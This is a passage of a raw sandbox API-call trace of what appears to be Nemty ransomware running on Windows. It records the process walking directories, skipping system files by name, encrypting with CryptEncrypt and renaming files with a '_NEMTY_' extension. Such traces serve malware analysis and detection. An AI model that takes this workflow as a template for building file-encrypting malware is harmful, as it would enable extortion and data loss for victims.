lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.546] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.546] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.546] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.546] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.555] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.555] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.555] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.555] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.561] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.561] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.561] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.561] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.567] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.567] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.567] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.567] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63403b0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.568] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0111.568] CloseHandle (hObject=0xffffffff) returned 0 [0111.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340520 [0111.568] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0111.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0111.568] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0111.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0111.568] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0111.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0111.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63440b0 [0111.568] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0111.568] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0111.568] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\calendar_double_bkg.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\calendar_double_bkg.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\calendar_double_bkg.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\calendar_double_bkg.png._nemty_kgobjgd_")) returned 0 [0111.568] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0111.568] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340520 | out: hHeap=0x4f90000) returned 1 [0111.568] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0111.568] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0111.568] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0111.568] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0111.568] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0111.568] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0111.568] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0111.568] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0111.568] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x824d0889, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x824d0889, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28266257, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xdd5, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="calendar_double_orange.png", cAlternateFileName="")) returned 1 [0111.568] lstrcmpiW (lpString1="calendar_double_orange.png", lpString2=".") returned 1 [0111.568] lstrcmpiW (lpString1="calendar_double_orange.png", lpString2="..") returned 1 [0111.568] lstrcmpiW (lpString1="calendar_double_orange.png", lpString2="...") returned 1 [0111.568] lstrcmpiW (lpString1="calendar_double_orange.png", lpString2="windows") returned -1 [0111.569] lstrcmpiW (lpString1="calendar_double_orange.png", lpString2="$RECYCLE.BIN") returned 1 [0111.569] lstrcmpiW (lpString1="calendar_double_orange.png", lpString2="rsa") returned -1 [0111.569] lstrcmpiW (lpString1="calendar_double_orange.png", lpString2="NTDETECT.COM") returned -1 [0111.569] lstrcmpiW (lpString1="calendar_double_orange.png", lpString2="ntldr") returned -1 [0111.569] lstrcmpiW (lpString1="calendar_double_orange.png", lpString2="MSDOS.SYS") returned -1 [0111.569] lstrcmpiW (lpString1="calendar_double_orange.png", lpString2="IO.SYS") returned -1 [0111.569] lstrcmpiW (lpString1="calendar_double_orange.png", lpString2="boot.ini") returned 1 [0111.569] lstrcmpiW (lpString1="calendar_double_orange.png", lpString2="boot.ini") returned 1 [0111.569] lstrcmpiW (lpString1="calendar_double_orange.png", lpString2="AUTOEXEC.BAT") returned 1 [0111.569] lstrcmpiW (lpString1="calendar_double_orange.png", lpString2="ntuser.dat") returned -1 [0111.569] lstrcmpiW (lpString1="calendar_double_orange.png", lpString2="desktop.ini") returned -1 [0111.569] lstrcmpiW (lpString1="calendar_double_orange.png", lpString2="CONFIG.SYS") returned -1 [0111.569] lstrcmpiW (lpString1="calendar_double_orange.png", lpString2="RECYCLER") returned -1 [0111.569] lstrcmpiW (lpString1="calendar_double_orange.png", lpString2="BOOTSECT.BAK") returned 1 [0111.569] lstrcmpiW (lpString1="calendar_double_orange.png", lpString2="bootmgr") returned 1 [0111.569] lstrcmpiW (lpString1="calendar_double_orange.png", lpString2="programdata") returned -1 [0111.569] lstrcmpiW (lpString1="calendar_double_orange.png", lpString2="appdata") returned 1 [0111.569] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0111.569] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_double_orange.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0111.569] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0111.569] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_double_orange.png", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="calendar_double_orange.png", lpUsedDefaultChar=0x0) returned 26 [0111.569] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0111.569] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0111.569] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_double_orange.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0111.569] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0111.569] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_double_orange.png", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="calendar_double_orange.png", lpUsedDefaultChar=0x0) returned 26 [0111.569] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0111.569] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0111.569] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0111.569] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0111.569] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_double_orange.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0111.570] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0111.570] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_double_orange.png", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="calendar_double_orange.png", lpUsedDefaultChar=0x0) returned 26 [0111.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0111.570] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0111.570] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_double_orange.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0111.570] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0111.570] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_double_orange.png", cchWideChar=26, lpMultiByteStr=0x4f9ed58, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="calendar_double_orange.png", lpUsedDefaultChar=0x0) returned 26 [0111.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0111.570] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340198 [0111.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402f8 | out: hHeap=0x4f90000) returned 1 [0111.570] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340260 [0111.570] Sleep (dwMilliseconds=0x5) [0111.584] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf6281010, dwHighDateTime=0x1d561e7)) [0111.585] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf6281010, dwHighDateTime=0x1d561e7)) [0111.585] GetLastError () returned 0x5 [0111.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0111.585] GetLastError () returned 0x5 [0111.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0111.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0111.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0111.585] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0111.585] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0111.585] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0111.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340328 [0111.585] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340328, pcchString=0x653e91c | out: pszString="4XijrICPgcsA2k0y1Mei93GXCxvD+2MI/K+P9xf2RVwpcenF5MhCtI/37Q2l7Oqr\r\nMrodlfQZf/3uBN9zdzyFW6JXFmS5Mlkhi+JEr0kUOo/x7MuE6nwNlQSwe6FVkbet\r\nmXPCZs/jOdJDokgBhtKVLRbke48AVvV0ZrvgbQOFjOmA9QEIDTxgh/nFDE5YRB4P\r\nYB9yd1Wy49EGYyjIbbGbCbZvTq/IqbYm2tFOAghPs0ErXh5zSqbXtb/Sfbx+SdZy\r\nnSO+OGz9+wrIMsvgc2UOTX5iogyDijzK0H4/JomuaTKbNZO37x3n3Z+DRHYGNknT\r\niGSfN3QWdsoHE/PMnNyYdA==\r\n", pcchString=0x653e91c) returned 1 [0111.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0111.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0111.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0111.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0111.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340328 [0111.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0111.585] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\calendar_double_orange.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\calendar_double_orange.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.586] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0111.586] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0111.586] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.586] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.595] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.595] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.595] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.595] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.605] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.605] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.605] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.605] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.614] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.614] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.614] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.614] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.623] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.623] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.624] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.624] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.633] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.633] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.633] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.633] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.642] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.643] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.643] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.643] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.652] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.652] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.652] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.652] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.661] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.661] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.661] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.661] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.670] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.671] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.671] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.671] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.680] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.680] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.680] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.680] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.686] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.686] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.686] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.686] 